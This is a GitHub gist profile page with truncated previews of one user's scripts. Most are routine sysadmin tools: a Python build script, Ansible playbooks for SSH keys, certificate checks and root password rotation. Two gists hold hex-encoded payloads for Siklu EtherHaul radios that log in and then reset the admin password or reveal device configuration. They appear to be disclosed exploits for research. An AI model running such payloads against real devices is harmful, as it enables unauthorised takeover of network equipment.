Skip to content

Instantly share code, notes, and snippets.

View ianling's full-sized avatar

Ian ianling

View GitHub Profile
@ianling
ianling / install_python3.8.0.sh
Created November 26, 2019 16:29
Installs python3.8.0 from source on Ubuntu Xenial
sudo apt install wget build-essential libssl-dev zlib1g-dev libncurses5-dev libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev uuid-dev
wget https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tar.xz
tar xf Python-3.8.0.tar.xz
cd Python-3.8.0
./configure --enable-optimizations --prefix=/usr
make -j 8
sudo make install
cp -R /usr/lib/python3/dist-packages/CommandNotFound/ /usr/lib/python3.8/site-packages/
cp -R /usr/lib/python3/dist-packages/lsb_release.py /usr/lib/python3.8/site-packages/
sudo make install
@ianling
ianling / generate_ssh_certs.yml
Created October 3, 2017 16:49
Ansible Playbook for generating and adding SSH certificates for a user on remote hosts
---
- name: Set up sshcerts for ianl
hosts: all
remote_user: ianl
tasks:
- name: Generate a unique key for each host
local_action: command /usr/bin/ssh-keygen -b 2048 -t rsa -f /home/ianl/sshkeys/{{ inventory_hostname }} -q -N ""
become: no
@ianling
ianling / siklu_etherhaul_setpw.py
Created December 29, 2016 19:11
Siklu EtherHaul Set Password Exploit
import socket
from time import sleep
#this sets the password to 'Abc123123'
target = '1.2.3.4'
admin = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x39\x00\x00\x00\x00\x61\x64\x6d\x69\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
setpassword = bytearray(b'\x73\x69\x6d\x70\x6c\x65\x2d\x63\x6f\x6d\x6d\x61\x6e\x64\x20\x73\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6d\x69\x6e\x20\x74\x79\x70\x65\x20\x61\x64\x6d\x69\x6e\x20\x70\x61\x73\x73\x77\x20\x41\x62\x63\x31\x32\x33\x31\x32\x33\x00') #Abc123123
@ianling
ianling / siklu_etherhaul_showpw.py
Last active November 15, 2019 15:51
Siklu EtherHaul Show Password Exploit
import socket
from time import sleep
address = '192.168.1.11' # the target
port = 555
# set up binary strings to send to the radio
root = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xad\x00\x00\x00\x00\x72\x6f\x6f\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
moinfo = bytearray(b'\x6d\x6f\x2d\x69\x6e\x66\x6f\x20\x73\x79\x73\x74\x65\x6d\x20\x3b\x20\x6e\x74\x70\x20\x3b\x20\x69\x70\x20\x3b\x20\x69\x70\x76\x36\x20\x3b\x20\x65\x74\x68\x20\x3b\x20\x61\x61\x61\x2d\x73\x65\x72\x76\x65\x72\x20\x3b\x20\x61\x61\x61\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x6d\x6e\x6
@ianling
ianling / check_ssl_cert.sh
Last active April 14, 2016 17:25
Bash script that checks each Let's Encrypt cert to make sure it won't expire soon
#!/bin/bash
for cert in `find /etc/letsencrypt/live -name 'cert.pem'` ; do
certpath=`/usr/bin/dirname $cert`
website=`basename $certpath`
if /usr/bin/openssl x509 -checkend 2592000 -noout -in $cert ; then
echo "Cert for $website is good"
else
echo "**Cert for $website is bad**"
fi
done
@ianling
ianling / check_ssl_cert.yml
Created April 14, 2016 17:21
Runs a Bash script that checks SSL certificate expiry
---
- name: Check if SSL certs will expire soon
hosts: servers-with-ssl-certs
remote_user: backup
tasks:
- name: Run the SSL cert check script
script: /usr/local/bin/check_ssl_cert.sh
register: scriptoutput
- name: Print script output
@ianling
ianling / setup_user_sshcerts.yml
Created April 14, 2016 17:14
Creates SSH certificates for passwordless login
---
- name: Set up sshcerts for MYUSER
hosts: all
remote_user: MYUSER
tasks:
- name: Generate a unique key for this host
local_action: command /usr/bin/ssh-keygen -b 2048 -t rsa -f /home/MYUSER/sshkeys/{{ inventory_hostname }} -q -N ""
- name: Create /backup/.ssh recursively
@ianling
ianling / bootstrap.yml
Last active October 12, 2017 18:51
Used after backup_user_setup.yml to push basic config changes
---
- name: Roll out basic config changes to a new server
hosts: all
remote_user: backup
become: yes
tasks:
- name: Disable root login in sshd_config
lineinfile: "dest=/etc/ssh/sshd_config
regexp='^PermitRootLogin '
print 2 # ...
i = 3
while True:
divisorMax = (i/2)
prime = True
for divisor in range(3,divisorMax,2):
if i % divisor == 0:
prime = False
break
if prime:
@ianling
ianling / change_root_pw.yml
Created December 10, 2015 00:39
Sets the root password of a remote host to a randomly generated one. The new password gets stored locally in plaintext at /backup/passwords/<hostname>
---
- name: Change the root password and store the updated password locally in /backup/passwords/<hostname>
hosts: all
remote_user: backup
vars:
plaintextpw: "{{ lookup('password', '/backup/passwords/'+inventory_hostname+' chars=ascii_letters,digits,hexdigits,punctuation,, length=20') }}"
tasks:
- name: Remove the old password file, if it exists